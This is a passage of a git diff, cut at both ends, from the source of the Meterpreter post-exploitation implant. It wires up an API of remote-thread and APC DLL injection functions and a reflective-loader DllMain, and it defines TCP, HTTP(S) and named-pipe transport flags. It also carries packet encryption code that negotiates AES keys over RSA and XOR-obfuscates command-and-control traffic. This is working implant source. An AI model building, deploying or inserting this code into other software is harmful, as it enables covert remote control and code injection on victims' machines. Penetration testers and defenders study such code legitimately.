scheduler_initialize, + scheduler_destroy, + scheduler_insert_waitable, + scheduler_signal_waitable, + scheduler_waitable_thread, + }, + // StringApi + { + utf8_to_wchar, + wchar_to_utf8, + }, + // InjectApi + { + inject_dll, + inject_via_apcthread, + inject_via_remotethread, + inject_via_remotethread_wow64, + }, + // DesktopApi + { + core_update_desktop, + }, + // ListApi + { + list_add, + list_clear, + list_enumerate, + list_push, + list_remove, + list_remove_at, + list_count, + list_create, + list_get, + list_pop, + list_shift, + list_destroy, + }, +}; + +MetApi* met_api = &api_instance; diff --git a/c/meterpreter/source/metsrv/metapi.h b/c/meterpreter/source/metsrv/metapi.h new file mode 100644 index 00000000..c9ce6f52 --- /dev/null +++ b/c/meterpreter/source/metsrv/metapi.h @@ -0,0 +1,7 @@ +#ifndef _METERPRETER_METSRV_METAPI_H +#define _METERPRETER_METSRV_METAPI_H + +#include "metsrv.h" +#include "common_metapi.h" + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c new file mode 100644 index 00000000..06c8cb04 --- /dev/null +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -0,0 +1,133 @@ +#include "metsrv.h" + +#include // for EXCEPTION_ACCESS_VIOLATION +#include + +#define UnpackAndLinkLibs(p, s) + +#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } + + +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +DWORD Init(MetsrvConfig* metConfig) +{ + // if hAppInstance is still == NULL it means that we havent been + // reflectivly loaded so we must patch in the hAppInstance value + // for use with loading server extensions later. + InitAppInstance(); + + // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually + // a pointer to the metserv configuration, so do a nasty cast and move on. + dprintf("[METSRV] Getting ready to init with config %p", metConfig); + DWORD result = server_setup(metConfig); + + dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); + + // We also handle exit func directly in metsrv now because the value is added to the + // configuration block and we manage to save bytes in the stager/header as well. + switch (metConfig->session.exit_func) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter(NULL); + break; + case EXITFUNC_THREAD: + ExitThread(0); + break; + case EXITFUNC_PROCESS: + ExitProcess(0); + break; + default: + break; + } + return result; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + + switch (dwReason) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = Init((MetsrvConfig*)lpReserved); + break; + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#define SLEEP_MAX_SEC (MAXDWORD / 1000) + +/*! + * @brief Returns a unix timestamp in UTC. + * @return Integer value representing the UTC Unix timestamp of the current time. + */ +int current_unix_timestamp(void) { + SYSTEMTIME system_time; + FILETIME file_time; + ULARGE_INTEGER ularge; + + GetSystemTime(&system_time); + SystemTimeToFileTime(&system_time, &file_time); + + ularge.LowPart = file_time.dwLowDateTime; + ularge.HighPart = file_time.dwHighDateTime; + return (long)((ularge.QuadPart - 116444736000000000) / 10000000L); +} + +/*! + * @brief Sleep for the given number of seconds. + * @param seconds DWORD value representing the number of seconds to sleep. + * @remark This was implemented so that extended sleep times can be used (beyond the + * 49 day limit imposed by Sleep()). + */ +VOID sleep(DWORD seconds) +{ + while (seconds > SLEEP_MAX_SEC) + { + Sleep(SLEEP_MAX_SEC * 1000); + seconds -= SLEEP_MAX_SEC; + } + Sleep(seconds * 1000); +} + +VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize) +{ + dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]); + for (DWORD i = 0; i < bufferSize; ++i) + { + buffer[i] ^= xorKey[i % 4]; + } +} + +VOID rand_xor_key(BYTE buffer[4]) +{ + static BOOL initialised = FALSE; + if (!initialised) + { + srand((unsigned int)time(NULL)); + initialised = TRUE; + } + + buffer[0] = (rand() % 254) + 1; + buffer[1] = (rand() % 254) + 1; + buffer[2] = (rand() % 254) + 1; + buffer[3] = (rand() % 254) + 1; +} + +BOOL is_null_guid(BYTE guid[sizeof(GUID)]) +{ + return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE; +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h new file mode 100644 index 00000000..449fe996 --- /dev/null +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -0,0 +1,73 @@ +#ifndef _METERPRETER_METSRV_METSRV_H +#define _METERPRETER_METSRV_METSRV_H + +/* + * Version number + * v------- major major + * v----- major minor + * v--- minor major + * v- minor minor + */ +#define METSRV_VERSION_NUMBER 0x00010001 + +#define _WIN32_WINNT _WIN32_WINNT_WINXP +#define USE_DLL + +#include "common.h" + +#include "remote_dispatch.h" +#include "libloader.h" + +#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" + +/*! @brief Indication that the Meterpreter transport is using TCP. */ +#define METERPRETER_TRANSPORT_TCP 0x1 +/*! @brief Indication that the Meterpreter transport is using HTTP. */ +#define METERPRETER_TRANSPORT_HTTP 0x2 +/*! @brief Indication that the Meterpreter transport is using HTTPS. */ +#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP) +/*! @brief Indication that the Meterpreter transport is using named pipes. */ +#define METERPRETER_TRANSPORT_PIPE 0x8 + +#include "base.h" +#include "core.h" +#include "remote.h" +#include "pivot_tree.h" +#include "channel.h" +#include "scheduler.h" +#include "thread.h" +#include "unicode.h" +#include "list.h" +#include "zlib.h" + +#include "common_metapi.h" + +VOID sleep(DWORD seconds); +int current_unix_timestamp(void); +VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); +BOOL is_null_guid(BYTE guid[sizeof(GUID)]); +VOID rand_xor_key(BYTE buffer[4]); + +DWORD server_setup(MetsrvConfig* config); +typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); +typedef DWORD (*PSRVDEINIT)(Remote *remote); +typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize); +typedef VOID (*PCMDADDED)(const char* commandName); +typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize); + +typedef struct _EXTENSION +{ + HMODULE library; + PSRVINIT init; + PSRVDEINIT deinit; + PSRVGETNAME getname; + PCMDADDED commandAdded; + PSTAGELESSINIT stagelessInit; + Command* start; + Command* end; + char name[16]; +} EXTENSION, *PEXTENSION; + +#endif diff --git a/c/meterpreter/source/common/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/common/packet_encryption.c rename to c/meterpreter/source/metsrv/packet_encryption.c index 729d29fb..4ee9a2d8 --- a/c/meterpreter/source/common/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -1,573 +1,573 @@ -#include "common.h" -#include "remote.h" -#include "packet_encryption.h" - -typedef struct _CryptProviderParams -{ - const TCHAR* provider; - const DWORD type; - const DWORD flags; -} CryptProviderParams; - -typedef struct _RsaKey -{ - BLOBHEADER header; - DWORD length; - BYTE key[1]; -} RsaKey; - - -const CryptProviderParams AesProviders[] = -{ - {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0}, - {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_NEWKEYSET}, - {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, 0}, - {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, CRYPT_NEWKEYSET} -}; - -DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize) -{ - DWORD result = ERROR_SUCCESS; - Packet* localPacket = NULL; - HCRYPTKEY dupKey = 0; - -#ifdef DEBUGTRACE - PUCHAR h = buffer; - vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - vdprintf("[DEC] Packet buffer size is: %u", bufferSize); - - do - { - PacketHeader* header = (PacketHeader*)buffer; - - // Start by decoding the entire packet - xor_bytes(header->xor_key, buffer + sizeof(header->xor_key), bufferSize - sizeof(header->xor_key)); - -#ifdef DEBUGTRACE - h = buffer; - vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - - // Allocate a packet structure - if (!(localPacket = (Packet *)calloc(1, sizeof(Packet)))) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - DWORD encFlags = ntohl(header->enc_flags); - vdprintf("[DEC] Encryption flags set to %x", encFlags); - - // Only decrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) - { - vdprintf("[DEC] Context is valid, moving on ... "); - LPBYTE payload = buffer + sizeof(PacketHeader); - - // the first 16 bytes of the payload we're given is the IV - LPBYTE iv = payload; - - vdprintf("[DEC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); - - // the rest of the payload bytes contains the actual encrypted data - DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; - LPBYTE encryptedData = payload + AES256_BLOCKSIZE; - - vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize); - vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE); - - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result); - break; - } - - DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) - { - result = GetLastError(); - dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); - break; - } - - // decrypt! - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to set IV: %d (%x)", result, result); - break; - } - - if (!CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result); - break; - } - - // shift the decrypted data back to the start of the packet buffer so that we - // can pretend it's a normal packet - memmove_s(iv, encryptedSize, encryptedData, encryptedSize); - - // adjust the header size - header->length = htonl(encryptedSize + sizeof(TlvHeader)); - - // done, the packet parsing can continue as normal now - } - - localPacket->header.length = header->length; - localPacket->header.type = header->type; - localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader); - - vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength); - vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type)); - - localPacket->payload = malloc(localPacket->payloadLength); - if (localPacket->payload == NULL) - { - vdprintf("[DEC] failed to allocate payload"); - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - vdprintf("[DEC] Local packet payload successfully allocated, copying data"); - memcpy_s(localPacket->payload, localPacket->payloadLength, buffer + sizeof(PacketHeader), localPacket->payloadLength); - -#ifdef DEBUGTRACE - h = localPacket->payload; - vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); - DWORD tl = ntohl(((TlvHeader*)h)->length); - vdprintf("[DEC] Skipping %u bytes", tl); - h += tl; - vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); -#endif - - vdprintf("[DEC] Writing localpacket %p to packet pointer %p", localPacket, packet); - *packet = localPacket; - } while (0); - - if (result != ERROR_SUCCESS) - { - if (localPacket != NULL) - { - packet_destroy(localPacket); - } - } - if (dupKey != 0) - { - CryptDestroyKey(dupKey); - } - - return result; -} - -DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize) -{ - DWORD result = ERROR_SUCCESS; - HCRYPTKEY dupKey = 0; - - vdprintf("[ENC] Preparing for encryption ..."); - - // create a new XOR key here, because the content will be copied into the final - // payload as part of the prepration process - rand_xor_key(packet->header.xor_key); - - // copy the session ID to the header as this will be used later to identify the packet's destination session - memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); - - // Only encrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid) - { - vdprintf("[ENC] Context is valid, moving on ... "); - // only encrypt the packet if encryption has been enabled - if (remote->enc_ctx->enabled) - { - do - { - vdprintf("[ENC] Context is enabled, doing the AES encryption"); - - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result); - break; - } - - DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) - { - result = GetLastError(); - dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); - break; - } - - BYTE iv[AES256_BLOCKSIZE]; - if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result); - } - - vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); - - - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to set IV: %d (%x)", result, result); - break; - } - - vdprintf("[ENC] IV Set successfully"); - // mark this packet as an encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_AES256); - - - // Round up - DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE; - // Need to have space for the IV at the start, as well as the packet Header - DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header); - - *buffer = (BYTE*)malloc(memSize); - BYTE* headerPos = *buffer; - BYTE* ivPos = headerPos + sizeof(packet->header); - BYTE* payloadPos = ivPos + sizeof(iv); - - *bufferSize = packet->payloadLength; - - // prepare the payload - memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); - - if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result); - } - else - { - vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize); - } - - // update the length to match the size of the encrypted data with IV and the TlVHeader - packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); - - // update the returned total size to include both the IV and header size. - *bufferSize += sizeof(iv) + sizeof(packet->header); - - // write the header and IV to the payload - memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); - memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv)); - } while (0); - } - else - { - dprintf("[ENC] Enabling the context"); - // if the encryption is valid, then we set the enbaled flag here because - // we know that the first packet going out is the response to the negotiation - // and from here we want to make sure that the encryption function is on. - remote->enc_ctx->enabled = TRUE; - } - } - else - { - vdprintf("[ENC] No encryption context present"); - } - - // if we don't have a valid buffer at this point, we'll create one and add the packet as per normal - if (*buffer == NULL) - { - *bufferSize = packet->payloadLength + sizeof(packet->header); - *buffer = (BYTE*)malloc(*bufferSize); - - BYTE* headerPos = *buffer; - BYTE* payloadPos = headerPos + sizeof(packet->header); - - // mark this packet as a non-encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_NONE); - - memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); - memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); - } - vdprintf("[ENC] Packet buffer size is: %u", *bufferSize); - -#ifdef DEBUGTRACE - LPBYTE h = *buffer; - vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - // finally XOR obfuscate like we always did before, skippig the xor key itself. - xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key)); - - vdprintf("[ENC] Packet encoded and ready for transmission"); -#ifdef DEBUGTRACE - vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - if (dupKey != 0) - { - CryptDestroyKey(dupKey); - } - - return result; -} - -DWORD public_key_encrypt(CHAR* publicKeyPem, unsigned char* data, DWORD dataLength, unsigned char** encryptedData, DWORD* encryptedDataLength) -{ - DWORD result = ERROR_SUCCESS; - LPBYTE pubKeyBin = NULL; - CERT_PUBLIC_KEY_INFO* pubKeyInfo = NULL; - HCRYPTPROV rsaProv = 0; - HCRYPTKEY pubCryptKey = 0; - LPBYTE cipherText = NULL; - - do - { - if (publicKeyPem == NULL) - { - result = ERROR_BAD_ARGUMENTS; - break; - } - - DWORD binaryRequiredSize = 0; - CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, NULL, &binaryRequiredSize, NULL, NULL); - dprintf("[ENC] Required size for the binary key is: %u (%x)", binaryRequiredSize, binaryRequiredSize); - - pubKeyBin = (LPBYTE)malloc(binaryRequiredSize); - if (pubKeyBin == NULL) - { - result = ERROR_OUTOFMEMORY; - break; - } - - if (!CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, pubKeyBin, &binaryRequiredSize, NULL, NULL)) - { - result = GetLastError(); - dprintf("[ENC] Failed to convert the given base64 encoded key into bytes: %u (%x)", result, result); - break; - } - - DWORD keyRequiredSize = 0; - if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pubKeyBin, binaryRequiredSize, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) - { - result = GetLastError(); - dprintf("[ENC] Failed to decode: %u (%x)", result, result); - break; - } - - dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId); - - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT"); - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) - { - result = GetLastError(); - dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result); - break; - } - else - { - dprintf("[ENC] Created the RSA provider with CRYPT_NEWKEYSET"); - } - } - else - { - dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT"); - } - - if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) - { - result = GetLastError(); - dprintf("[ENC] Failed to import the key: %u (%x)", result, result); - break; - } - - DWORD requiredEncSize = dataLength; - CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); - dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize); - - cipherText = (LPBYTE)calloc(1, requiredEncSize); - if (cipherText == NULL) - { - result = ERROR_OUTOFMEMORY; - break; - } - - memcpy_s(cipherText, requiredEncSize, data, dataLength); - - if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) - { - result = GetLastError(); - dprintf("[ENC] Failed to encrypt: %u (%x)", result, result); - } - else - { - dprintf("[ENC] Encryption witih RSA succeded, byteswapping because MS is stupid and does stuff in little endian."); - // Given that we are encrypting such a small amount of data, we're going to assume that the size - // of the key matches the size of the block of data we've decrypted. - for (DWORD i = 0; i < requiredEncSize / 2; ++i) - { - BYTE b = cipherText[i]; - cipherText[i] = cipherText[requiredEncSize - i - 1]; - cipherText[requiredEncSize - i - 1] = b; - } - - *encryptedData = cipherText; - *encryptedDataLength = requiredEncSize; - } - } while (0); - - if (result != ERROR_SUCCESS) - { - if (cipherText != NULL) - { - free(cipherText); - } - } - - if (pubKeyInfo != NULL) - { - LocalFree(pubKeyInfo); - } - - if (pubCryptKey != 0) - { - CryptDestroyKey(pubCryptKey); - } - - if (rsaProv != 0) - { - CryptReleaseContext(rsaProv, 0); - } - - return result; -} - -DWORD free_encryption_context(Remote* remote) -{ - DWORD result = ERROR_SUCCESS; - - dprintf("[ENC] Freeing encryption context %p", remote->enc_ctx); - if (remote->enc_ctx != NULL) - { - dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key); - if (remote->enc_ctx->aes_key != 0) - { - CryptDestroyKey(remote->enc_ctx->aes_key); - } - - dprintf("[ENC] Encryption context not null, so ditching provider"); - if (remote->enc_ctx->provider != 0) - { - CryptReleaseContext(remote->enc_ctx->provider, 0); - } - - dprintf("[ENC] Encryption context not null, so freeing the context"); - free(remote->enc_ctx); - remote->enc_ctx = NULL; - } - return result; -} - -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); - - do - { - if (remote->enc_ctx != NULL) - { - free_encryption_context(remote); - } - - remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); - - if (remote->enc_ctx == NULL) - { - dprintf("[ENC] failed to allocate the encryption context"); - result = ERROR_OUTOFMEMORY; - break; - } - - PacketEncryptionContext* ctx = remote->enc_ctx; - - for (int i = 0; i < _countof(AesProviders); ++i) - { - if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) - { - result = GetLastError(); - dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); - } - else - { - result = ERROR_SUCCESS; - ctx->provider_idx = i; - dprintf("[ENC] managed to acquire the crypt context %d!", i); - break; - } - } - - if (result != ERROR_SUCCESS) - { - break; - } - - ctx->key_data.header.bType = PLAINTEXTKEYBLOB; - ctx->key_data.header.bVersion = CUR_BLOB_VERSION; - ctx->key_data.header.aiKeyAlg = CALG_AES_256; - ctx->key_data.length = sizeof(ctx->key_data.key); - - if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) - { - result = GetLastError(); - dprintf("[ENC] failed to generate random key: %d (%x)", result, result); - break; - } - - if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) - { - result = GetLastError(); - dprintf("[ENC] failed to import random key: %d (%x)", result, result); - break; - } - - // now we need to encrypt this key data using the public key given - CHAR* pubKeyPem = packet_get_tlv_value_string(packet, TLV_TYPE_RSA_PUB_KEY); - unsigned char* cipherText = NULL; - DWORD cipherTextLength = 0; - DWORD pubEncryptResult = public_key_encrypt(pubKeyPem, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength); - - packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256); - if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL) - { - // encryption succeeded, pass this key back to the call in encrypted form - packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength); - free(cipherText); - } - else - { - // no public key was given, so send it back in the raw - packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); - } - - ctx->valid = TRUE; - } while (0); - - packet_transmit_response(result, remote, response); - - remote->enc_ctx->enabled = TRUE; - - return ERROR_SUCCESS; -} +#include "metsrv.h" +#include "remote.h" +#include "packet_encryption.h" + +typedef struct _CryptProviderParams +{ + const TCHAR* provider; + const DWORD type; + const DWORD flags; +} CryptProviderParams; + +typedef struct _RsaKey +{ + BLOBHEADER header; + DWORD length; + BYTE key[1]; +} RsaKey; + + +const CryptProviderParams AesProviders[] = +{ + {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0}, + {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_NEWKEYSET}, + {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, 0}, + {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, CRYPT_NEWKEYSET} +}; + +DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize) +{ + DWORD result = ERROR_SUCCESS; + Packet* localPacket = NULL; + HCRYPTKEY dupKey = 0; + +#ifdef DEBUGTRACE + PUCHAR h = buffer; + vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + vdprintf("[DEC] Packet buffer size is: %u", bufferSize); + + do + { + PacketHeader* header = (PacketHeader*)buffer; + + // Start by decoding the entire packet + xor_bytes(header->xor_key, buffer + sizeof(header->xor_key), bufferSize - sizeof(header->xor_key)); + +#ifdef DEBUGTRACE + h = buffer; + vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + + // Allocate a packet structure + if (!(localPacket = (Packet *)calloc(1, 